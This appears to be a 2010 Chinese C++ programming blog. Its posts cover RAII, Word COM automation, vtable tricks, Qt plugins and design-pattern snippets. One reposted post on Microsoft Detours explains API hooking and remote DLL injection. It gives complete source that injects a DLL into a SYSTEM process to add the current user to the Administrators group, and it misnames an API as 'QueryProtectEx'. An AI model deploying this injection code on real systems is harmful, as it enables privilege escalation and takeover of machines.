codeArt

codeArt

2010年11月6日

RAII是什么?来源于金庆的专栏

摘自《Extended STL》中译


RAII:资源获取即初始化

资源获取即初始化(RAII, Resource Acquisition Is Initialization)是指,当你获得一个资源的时候,不管这个资源是对象、内存、文件句柄或者其它什么,你都会在一个对象的构造函数中获得它,并且在该对象的析构函数中释放它。实现这种功能的类,我们就说它采用了"资源获取即初始化(RAII)"的方式。这样的类常常被称为封装类。

可以依据资源可变性和资源来源这两个特征,来对RAII进行分类。


资源可变性

如果一个封装类对其实例提供额外的功能,使得其实例能被赋予新资源,这个类表现出的这种特征即称为"可变的RAII",否则就是"不可变的RAII"。

不可变的RAII,是使用起来最简单的一种。说它简单,是因为在这种情况下,无需在封装类中提供用于指定资源的方法--不管是新分配的资源,还是对其他资源进行拷贝。这种RAII还意味着,类的析构函数总是可以假定,被封装的资源是有效的。

与此相反,提供可变的RAII的类,就需要实现下列功能中的绝大部分,或者全部:缺省的或者空的构造函数,拷贝构造函数,拷贝赋值操作,用于指定资源的方法。最重要的是,这样的类在析构函数和任何类似close()的方法中,释放资源前,都必须检测被封装的资源是不是null。


资源来源

对于提供RAII的类来说,第二个重要的特征是,它们通过什么途径获取自己所管理的资源。以std::string为代表的类,使用的是内部初始化的RAII:它管理的资源--即内存中用于保存字符的缓冲区--是由它自己创建的,这一资源对外永远是不可见的。与此不同的是,以std::auto_ptr为代表的类表现出外部初始化的RAII行为:它所管理的资源,是使用它的客户程序(通过另外的某种方式获得之后)交给它的。

内部初始化的RAII的封装类,一般比较容易实现,但是功能上也比较受限制,因为它们获取资源的机制是预先定义好的,并且是固定不变的。不过,这样的类用起来也容易一些,或者说,比较难被误用:因为客户代码几乎没有机会犯下能导致资源泄露的错误。

posted @ 2010-11-06 17:30 codeArt 阅读(524) | 评论 (0)编辑 收藏

2010年9月30日

编程法则(转自oschina.net)有意思

  1. 任何程序一旦部署即显陈旧。
  2. 修改需求规范来适应程序比反过来做更容易。
  3. 一个程序如果很有用,那它注定要被改掉。
  4. 一个程序如果没用,那它一定会有很好的文档。
  5. 任何程序里都仅仅只有10%的代码会被执行到。
  6. 软件会一直膨胀到耗尽所有资源为止。
  7. 任何一个有点价值的程序里都会有至少一个bug。
  8. 原型完美的程度跟审视的人数成反比,反比值会随着涉及的资金数增大。
  9. 软件直到被变成产品运行至少6个月后,它最严重的问题才会被发现。
  10. 无法检测到的错误的形式无限多样,而能被检测到的正好相反,被定义了的十分有限。
  11. 修复一个错误所需要投入的努力会随着时间成指数级增加。
  12. 软件的复杂度会一直增加,直到超出维护这个程序的人的承受能力。
  13. 任何自己的程序,几个月不看,形同其他人写的。
  14. 任何一个小程序里面都有一个巨大的程序蠢蠢欲出。
  15. 编码开始的越早,花费的时间越长。
  16. 一个粗心的项目计划会让你多花3倍的时间去完成;一个细心的项目计划只会让你多花2倍的时间。
  17. 往大型项目里添加人手会使项目更延迟。
  18. 一个程序至少会完成90%,但永远完成不了超过95%。
  19. 如果你想麻烦被自动处理掉,你得到的是自动产生的麻烦。
  20. 开发一个傻瓜都会使用的软件,只有傻瓜愿意使用它。
  21. 用户不会真正的知道要在软件里做些什么,除非使用过。

posted @ 2010-09-30 23:42 codeArt 阅读(121) | 评论 (0)编辑 收藏

2010年8月31日

c++操作word接口

注意事项:1多用Range,少用Selection,因为Word中,Selection对象只有一个。
【1】开启word
_ApplicationPtr word_app;
HRESULT hr 
= word_app.CreateInstance("Word.Application", NULL); 
【2】新建一个文档
COleVariant vTrue((short)TRUE),vFalse((short)FALSE),vOpt((long)DISP_E_PARAMNOTFOUND, VT_ERROR);
DocumentsPtr docs;
_DocumentPtr oDoc;
docs 
= word_app->GetDocuments();
doc 
= docs->Add(vOpt, vOpt, vOpt, vOpt);  
【3】设置文档的页面布局
PageSetupPtr page_setup = doc->GetPageSetup();
page_setup
->PutTopMargin(0);
page_setup
->PutBottomMargin(0);
page_setup
->PutRightMargin(0);
page_setup
->PutLeftMargin(0);
【4】插入文本
SelectionPtr selection;
selection 
= word_app->GetSelection();
_ParagraphFormatPtr parafmt 
= selection->GetParagraphFormat();
parafmt
->PutLineSpacingRule(wdLineSpaceExactly);
parafmt
->PutLineSpacing(50);
_FontPtr font;
font 
= oSel->GetFont();
font
->PutBold(1);
font
->PutColor(wdColorGreen);
font
->PutSize(20);
font
->PutName(_T("宋体"));
selection
->TypeText("ABC");
oSel
->TypeParagraph();
oSel
->TypeText("12345678901234567890");
oSel
->TypeParagraph();
【5】插入文本框
ShapesPtr shapes = doc->GetShapes();
ShapePtr textbox 
=  shapspp->AddTextbox(Office::msoTextOrientationHorizontal, 11100100);
【6】文本框中插入文本
 1ShapesPtr shapes = doc->GetShapes();
 2ShapePtr textbox =  shapspp->AddTextbox(Office::msoTextOrientationHorizontal, 11100100);
 3TextFramePtr textframe = textbox->GetTextFrame();
 4RangePtr range = textframe->GetTextRange();
 5long insert_before_count = range->Characters->GetCount();
 6range->InsertAfter("TEXT");
 7if (insert_before_count != 1)
 8    range->MoveStart(COleVariant((long)Word::wdCharacter), COleVariant(insert_before_count-1));
 9if(range != 0)
10{
11    _FontPtr font = range->GetFont();
12    font->PutBold(isBold);
13    font->PutItalic(isItalic);
14    font->PutColor((Word::WdColor)FontColor());
15    font->PutSize(FontSize);
16    font->PutName(FontType().c_str());
17}
【7】设置文本框的属性
1textbox->GetTextFrame()->PutAutoSize(Office::msoAutoShape);
2textbox->GetTextFrame()->PutMarginBottom(0);
3textbox->GetTextFrame()->PutMarginTop(0);
4textbox->GetTextFrame()->PutMarginLeft(0);
5textbox->GetTextFrame()->PutMarginRight(0);
6textbox->GetLine()->PutVisible(Office::msoFalse);
7textbox->GetFill()->PutTransparency(1);
【8】插入图片,这里需要注意,必须得先用InlineShape,这样可以把图片插入到指定的页中,不然,所有的图片只在第一页。
 1ShapesPtr shapes = m_WordDoc->GetShapes();
 2InlineShapesPtr inline_shapes = selection_doc->GetRange()->GetInlineShapes();
 3InlineShapePtr inline_shape = inline_shapes->AddPicture(“picture_path”, COleVariant((long)0), COleVariant((long)1));
 4ShapePtr shape = inline_shape->ConvertToShape();
 5shape->PutWidth(width);
 6shape->PutHeight(hehight());
 7shape->PutTop(Y);
 8shape->PutLeft(X);
 9if(shape->GetType() == Office::msoPicture)
10{
11    Word::WrapFormatPtr wrapp = shape->GetWrapFormat();
12    wrapp->PutType(Word::wdWrapBehind);
13}

14
【9】插入直线
1ShapesPtr shapes = doc->GetShapes();
2Word::ShapePtr line = shapes->AddLine(x1,y1, x2,y2);
3if (line->GetType() == Office::msoLine)
4{
5    Word::LineFormatPtr LineFmt = line->GetLine();
6    LineFmt->PutWeight(lr->weight_);
7}
【10】插入分隔符
selection->InsertBreak(COleVariant((long)wdColumnBreak));
selection
->InsertBreak(COleVariant((long)wdSectionBreakContinuous));
selection
->InsertBreak(COleVariant((long)wdPageBreak));

【11】设置栏目个数和栏目的宽度
这里一定要注意add函数的逻辑
1SectionsPtr word_sections = doc->GetSections();
2long num = word_sections->GetCount();
3SectionPtr word_section = word_sections->Item(num-1);
4PageSetupPtr page_setup = word_section->GetPageSetup();
5TextColumnsPtr text_cols = page_setup>GetTextColumns();
6text_cols->PutEvenlySpaced(0);
7text_cols->Add(COleVariant(col_width), COleVariant((long)0), COleVariant((long)false));
【12】插入表格
 1TablesPtr tables = oSel->GetTables();    
 2TablePtr table = tables->Add(oSel->GetRange(), 25);
 3    
 4BordersPtr bords = table->GetBorders();
 5bords->PutOutsideLineStyle(wdLineStyleSingle);
 6bords->PutInsideLineStyle(wdLineStyleSingle);
 7for (int i = 1; i<=2; i++)
 8{
 9    for (int j = 1; j<=5; j++)
10    {
11        table->Cell(i,j)->GetRange()->PutText("20");
12    }

13}

14
15CellPtr cell = table->Cell(1,1);
16cell->Merge(table->Cell(1,2));
【13】保存文档并退出
1COleVariant vTrue((short)TRUE),vFalse((short)FALSE),vOpt((long)DISP_E_PARAMNOTFOUND, VT_ERROR);
2_DocumentPtr active_doc; 
3active_doc = word_app->GetActiveDocument();
4active_doc->SaveAs(COleVariant("D:\\doc1.doc"), 
5                   COleVariant((short)0),
6                   vFalse, COleVariant(""), vTrue, COleVariant(""),
7                   vFalse, vFalse, vFalse, vFalse, vFalse);
8word_app->Quit(vOpt, vOpt, vOpt);
在word优秀的构架中还有许许多多的接口,上面只是举例实现一个普通的文档,希望对大家有用。

posted @ 2010-08-31 19:35 codeArt 阅读(6618) | 评论 (4)编辑 收藏

C++的继承

 

 1class base
 2{
 3public:
 4    base(){};
 5    ~base(){};
 6
 7    virtual void func1(){printf("base::func1\r\n");};
 8    virtual void func2(){printf("base::func2\r\n");};
 9    int ma;
10    int mb;
11    void member_func(){printf("base::member_func\r\n");}
12}
;
13
14class derive : public base
15{
16public:
17    derive(){};
18    ~derive(){};
19
20    virtual void func1(){printf("derive::func1\r\n");};
21    virtual void func3(){printf("derive::func3\r\n");};
22    virtual void func4(){printf("derive::func4\r\n");};
23
24    int ma2;
25    int mb2;
26
27    void member_func2(){printf("derive::member_func2\r\n");}
28}
;
29
30class derive2 : public derive
31{
32public:
33    derive2(){};
34    ~derive2(){};
35
36    virtual void func3(){printf("derive2::func3\r\n");};
37    virtual void func4(){printf("derive2::func4\r\n");};
38    virtual void func5(){printf("derive2::func5\r\n");};
39
40    int ma3;
41    int mb3;
42
43    void member_func3(){printf("derive2::member_func3\r\n");}
44}
;
45int _tmain(int argc, _TCHAR* argv[])
46{
47    typedef void (*Fun)(void);
48
49    Fun pfun = 0;
50    derive2* d2 = new derive2;
51    int* p = (int*)d2;
52    *(p+1= 20;
53    *(p+2= 30;
54    *(p+3= 200;
55    *(p+4= 300;
56    *(p+5= 2000;
57    *(p+6= 30000;
58
59    for (int i = 0; i<5; i++)
60    {
61        Fun pfun = (Fun)*((int*)*(p+0)+i);
62        if (pfun)
63            pfun();
64        else
65            printf("null\r\n");
66     }

67    
68    base* b2 = new derive;
69    int* p2 = (int*)b2;
70    pfun = (Fun)*((int*)*(p2+0)+3);
71    pfun();
72    
73    return 0;
74}

75

 

posted @ 2010-08-31 01:32 codeArt 阅读(172) | 评论 (0)编辑 收藏

2010年8月29日

关于Detours[转]

Detours是微软开发的一个函数库(源代码可在http://research.microsoft.com/sn/detours 免费获得), 用于修改运行中的程序在内存中的影像,从而即使没有源代码也能改变程序的行为。具体用途是:

拦截WIN32 API调用,将其引导到自己的子程序,从而实现WIN32 API的定制。
为一个已在运行的进程创建一新线程,装入自己的代码并运行。
本文将简介Detours的原理,Detours库函数的用法, 并利用Detours库函数在Windows NT上编写了一个程序,该程序能使有“调试程序”的用户权限的用户成为系统管理员,附录利用Detours库函数修改该程序使普通用户即可成为系统管理员(在NT4 SP3上)。

一. Detours的原理

1. WIN32进程的内存管理

总所周知,WINDOWS NT实现了虚拟存储器,每一WIN32进程拥有4GB的虚存空间, 关于WIN32进程的虚存结构及其操作的具体细节请参阅WIN32 API手册, 以下仅指出与Detours相关的几点:

(1) 进程要执行的指令也放在虚存空间中
(2) 可以使用QueryProtectEx函数把存放指令的页面的权限更改为可读可写可执行,再改写其内容,从而修改正在运行的程序
(3) 可以使用VirtualAllocEx从一个进程为另一正运行的进程分配虚存,再使用 QueryProtectEx函数把页面的权限更改为可读可写可执行,并把要执行的指令以二进制机器码的形式写入,从而为一个正在运行的进程注入任意的代码

2. 拦截WIN32 API的原理

Detours定义了三个概念:

(1) Target函数:要拦截的函数,通常为Windows的API。
(2) Trampoline函数:Target函数的复制品。因为Detours将会改写Target函数,所以先把Target函数复制保存好,一方面仍然保存Target函数的过程调用语义,另一方面便于以后的恢复。
(3) Detour 函数:用来替代Target函数的函数。

Detours在Target函数的开头加入JMP Address_of_ Detour_ Function指令(共5个字节)把对Target函数的调用引导到自己的Detour函数, 把Target函数的开头的5个字节加上JMP Address_of_ Target _ Function+5作为Trampoline函数。例子如下:

拦截前:Target _ Function:
;Target函数入口,以下为假想的常见的子程序入口代码
push   ebp
mov   ebp,   esp
push   eax
push   ebx
Trampoline:
;以下是Target函数的继续部分
……

拦截后: Target _ Function:
jmp   Detour_Function
Trampoline:
;以下是Target函数的继续部分
……

Trampoline_Function:
; Trampoline函数入口, 开头的5个字节与Target函数相同
push   ebp
mov   ebp,   esp
push   eax
push   ebx
;跳回去继续执行Target函数
jmp   Target_Function+5
3. 为一个已在运行的进程装入一个DLL

以下是其步骤:

(1) 创建一个ThreadFuction,内容仅是调用LoadLibrary。
(2) 用VirtualAllocEx为一个已在运行的进程分配一片虚存,并把权限更改为可读可写可执行。
(3) 把ThreadFuction的二进制机器码写入这片虚存。
(4) 用CreateRemoteThread在该进程上创建一个线程,传入前面分配的虚存的起始地址作为线程函数的地址,即可为一个已在运行的进程装入一个DLL。通过DllMain 即可在一个已在运行的进程中运行自己的代码。

二. Detours库函数的用法

因为Detours软件包并没有附带帮助文件,以下接口仅从剖析源代码得出。

1. PBYTE WINAPI DetourFindFunction(PCHAR pszModule, PCHAR pszFunction)

功能:从一DLL中找出一函数的入口地址
参数:pszModule是DLL名,pszFunction是函数名。
返回:名为pszModule的DLL的名为pszFunction的函数的入口地址
说明:DetourFindFunction除使用GetProcAddress外,还直接分析DLL的文件头,因此可以找到一些GetProcAddress找不到的函数入口。

2. DETOUR_TRAMPOLINE(trampoline_prototype, target_name)
功能:该宏把名为target_name 的Target函数生成Trampoline函数,以后调用 trampoline_prototype在语义上等于调用Target函数。

3. BOOL WINAPI DetourFunctionWithTrampoline(PBYTE pbTrampoline, BYTE pbDetour)
功能:用Detour 函数拦截Target函数
参数:pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype,pbDetour是 Detour 函数的入口地址。

4. BOOL WINAPI DetourRemoveWithTrampoline(PBYTE pbTrampoline,PBYTE pbDetour)
功能:恢复Target函数
参数:pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype,pbDetour是 Detour 函数的入口地址。

5. BOOL WINAPI ContinueProcessWithDll(HANDLE hProcess, LPCSTR lpDllName)
功能:为一个已在运行的进程装入一个DLL
参数:hProcess是进程的句柄,lpDllName是要装入的DLL名

三. 程序实例

以一个能使有“调试程序”的用户权限的用户成为系统管理员的程序做例子说明Detours 库函数的用法。程序的设计思路是找一个以System帐号运行的进程,如spoolss.exe, rpcss.exe, winlogon.exe, service.exe等,使用ContinueProcessWithDll在其中注入把当前用户加入到 Administrators本地组的DLL,因为该DLL在这些进程的安全上下文环境运行,所以有相应的权限。

先编写相应的DLL:

/*admin.dll, 当进程装入时会把名为szAccountName
的用户加入到Administrators本地组。*/

#include
#include
#include
#include

/*以下创建一共享段实现进程间的数据通讯,
szAccountName 是用户名,bPrepared说明
szAccountName是否已初始化。*/

#pragma data_seg(".MYSHARE")
BOOL bPrepared=FALSE;
wchar_t szAccountName[100]={0};
#pragma data_seg()

#pragma comment(linker, "/SECTION:.MYSHARE,RWS")

/*程序调用SetAccountName设置要加入到Administrators
本地组的用户名,并通知DllMain
已初始化szAccountName ,
以后被装入时可调用ElevatePriv */

__declspec(dllexport) VOID WINAPI
SetAccountName(wchar_t *Name)
{
    wcscpy(szAccountName,Name);
    bPrepared=TRUE;
}

/*把名为szAccountName的用户加入
到Administrators本地组*/

__declspec(dllexport) VOID WINAPI ElevatePriv()
{
    LOCALGROUP_MEMBERS_INFO_3 account;
    account.lgrmi3_domainandname=szAccountName;
    NetLocalGroupAddMembers(NULL,L"Administrators",
        3,(LPBYTE)&account,1);
}

__declspec(dllexport) ULONG WINAPI
DllMain(HINSTANCE hInstance,
        DWORD dwReason, PVOID lpReserved)
{
    switch (dwReason) {
   case DLL_THREAD_ATTACH:
       if (bPrepared)
           ElevatePriv();
    }
    return TRUE;
}

程序如下:

/*AddMeToAdministrators.exe 把当前用户加入到
Administrators本地组。使用方法为:(1)
运行任务管理器找到spoolss.exe或rpcss.exe或winlogon.exe或sevice.exe的进程ID (2)执行AddMeToAdministrators.exe procid, 其中procid为(1)记下的进程ID (3)签退再签到,运行用户管理器,即可发现自己已在Administrators本地组中。*/

#include
#include
#include
#include
#include

extern VOID WINAPI SetAccountName(wchar_t *Name);

/* GetCurrentUser得到自己的用户名称*/

void GetCurrentUser(wchar_t *szName)
{
    HANDLE hProcess, hAccessToken;
    wchar_t InfoBuffer[1000],szAccountName[200],
        szDomainName[200];
    PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
    DWORD dwInfoBufferSize,dwAccountSize = 200,
        dwDomainSize = 200;
    SID_NAME_USE snu;

    hProcess = GetCurrentProcess();

    OpenProcessToken(hProcess,TOKEN_READ,&hAccessToken);

    GetTokenInformation(hAccessToken,TokenUser,
        InfoBuffer,
        1000, &dwInfoBufferSize);

    LookupAccountSid(NULL, pTokenUser->User.Sid,
        szAccountName,
        &dwAccountSize,szDomainName, &dwDomainSize, &snu);
    wcscpy(szName,szDomainName);
    wcscat(szName,L"\");
        wcscat(szName,szAccountName);
}

/* EnablePrivilege启用自己的“调试程序”的用户权限*/

BOOL EnablePrivilege(LPCTSTR szPrivName,BOOL fEnable)
{
    HANDLE hToken;
    if (!OpenProcessToken(GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES, &hToken))
        return FALSE;
    TOKEN_PRIVILEGES tp;
    tp.PrivilegeCount = 1;
    LookupPrivilegeValue(NULL, szPrivName,
        &tp.Privileges[0].Luid);
    tp.Privileges[0].Attributes = fEnable ?
SE_PRIVILEGE_ENABLED : 0;
    AdjustTokenPrivileges(hToken, FALSE, &tp,
        sizeof(tp), NULL, NULL);
    return((GetLastError() == ERROR_SUCCESS));
}

int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev,
                   LPSTR lpszCmdLine, int
                   nCmdShow)
{
    INT argc;
    WCHAR **argv;
    argv = CommandLineToArgvW(GetCommandLineW(),
        &argc);
    INT nProcessId = -1;
    if (argc!=2){
        wprintf(L"usage %s pid", argv[0]);
        return 1;
    }
    nProcessId = _wtoi(argv[1]);
    printf("%d ",nProcessId);
    /*要成功执行ContinueProcessWithDll,要对winlogon.exe等进程的进程句柄有读写存储器内容和创建线程的权限,EnablePrivilege使本进程有这样的权利。*/

    if (!EnablePrivilege(SE_DEBUG_NAME, TRUE)){
        printf("AdjustTokenPrivilege Fail %u ",
            (UINT)GetLastError());
        return 1;
    }
    HANDLE   gNewHandle =
        OpenProcess(PROCESS_ALL_ACCESS
        , TRUE, nProcessId);
    if (!gNewHandle){
        printf("OpenProcess Fail %u ",
            (UINT)GetLastError());
        return 1;
    }
    wchar_t szName[100];
    GetCurrentUser(szName);
    SetAccountName(szName);
    If (!ContinueProcessWithDll(gNewHandle,
        L"c:\temp\admin.dll")) {
            printf("ContinueProcessWithDll failed %u",
                (UINT)GetLastError());
            return 3;
    }
    return 0;
}
因为“调试程序”的用户权限缺省情况下仅赋予给管理员,因此并不会造成安全漏洞。但该程序揭示出“调试程序”的用户权限其实是至高无上的用户权限,只能授予给可信用户。

四. 结论      Detours是一强大的工具,提供了简单易用的函数接口来拦截WIN32 API调用和为一个已在运行的进程装入一个DLL。

posted @ 2010-08-29 23:08 codeArt 阅读(337) | 评论 (0)编辑 收藏

2010年8月28日

QT中的插件

     摘要:   QT有着独特的插件管理方法便于使用,调理清晰.完全可以替代WIN32下的动态库,静态库.不过,QT也支持动态库和静态库加载 .见QLibrary,最终,QLibrary调用WIN32下的LoadLibrary,GetProcAddress函数. Qt插件的使用方法: [1]project_main_1工程中定义接口 class interface__1{publ...  阅读全文

posted @ 2010-08-28 19:56 codeArt 阅读(5148) | 评论 (0)编辑 收藏

努力,从现在开始

之前写blog只是备忘,看了一些很好的技术文章之后,很是羡慕.从现在开始,好好的维护这个blog啦.

posted @ 2010-08-28 16:15 codeArt 阅读(99) | 评论 (0)编辑 收藏

2010年8月27日

用在COM中,类行为比较怪异的代码

#include <iostream>

using namespace std;

template <typename T>
class Base {
public:
void fun() {
cout << "Base::fun" << endl;
}

void doSomething() {
T* pT = static_cast<T*>(this);
pT->fun();
}
};

class Drive : public Base<Drive> {
public:
void fun() {
cout << "Drive::fun" << endl;
}
};

class MostDrive : public Drive {
public:
void fun() {
cout << "MostDrive::fun" << endl;
}
};

int main() {
MostDrive obj;
obj.doSomething();

return 0;
}

posted @ 2010-08-27 21:02 codeArt 阅读(98) | 评论 (0)编辑 收藏

c++重载->

#include <iostream>

using namespace std;

class Inner {
public:
void Fun() {
cout << "Inner::Fun" << endl;
}
};

class Outer {
private:
Inner* m_pInner;

public:
Outer(Inner* p_pInner) : m_pInner(p_pInner) {
}

Inner* operator -> () {
return m_pInner;
}
};

int main() {
Inner objInner;
Outer objOuter(&objInner);

objOuter->Fun();

return 0;
}

posted @ 2010-08-27 20:46 codeArt 阅读(78) | 评论 (0)编辑 收藏

策略模式c++表述备忘

#include <iostream>

using namespace std;

class Round1 {
public:
void Play() {
cout << "Round1::Play" << endl;
}
};

class Round2 {
public:
void Play() {
cout << "Round2::Play" << endl;
}
};

template <typename T>
class Strategy {
private:
T objT;
public:
void Play() {
objT.Play();
}
};

int main() {
Strategy<Round1> obj1;
Strategy<Round2> obj2;

obj1.Play();
obj2.Play();

return 0;
}

posted @ 2010-08-27 20:43 codeArt 阅读(76) | 评论 (0)编辑 收藏

仅列出标题  下一页
<2019年5月>
2829301234
567891011
12131415161718
19202122232425
2627282930311
2345678

导航

统计

常用链接

留言簿(1)

随笔分类

随笔档案

文章档案

编程与开源

搜索

最新评论

阅读排行榜

评论排行榜